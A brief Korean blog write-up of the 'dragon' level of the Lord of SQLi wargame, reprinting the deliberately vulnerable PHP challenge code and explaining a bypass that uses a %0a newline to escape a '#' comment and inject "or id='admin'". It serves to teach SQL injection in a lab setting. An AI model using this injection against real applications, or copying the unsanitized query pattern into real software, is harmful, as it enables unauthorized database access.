늘모자란, 개발 :: [LOS] dragon

늘모자란, 개발

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>


주석을 깨야 되는데 주석이 있다고 입력이 안되는건 아니다. 이런 경우에는 개행을 시켜서 다음줄에 실행되게 하면되는데, 개행해서 건너뛴건 여러번 했다. %0a를 넣으면된다.

되는지 안되는지 알아보기 위해 다음과 같이 꾸며보자.

select id from prob_dragon where id='guest'# and pw=' and 1=2 ; '


쿼리가 돌지 않는다. 다시 제대로 준비해서 펀치를 날린다

select id from prob_dragon where id='guest'# and pw=' and 1=2 or id='admin' ; '


2017/06/28 14:17 2017/06/28 14:17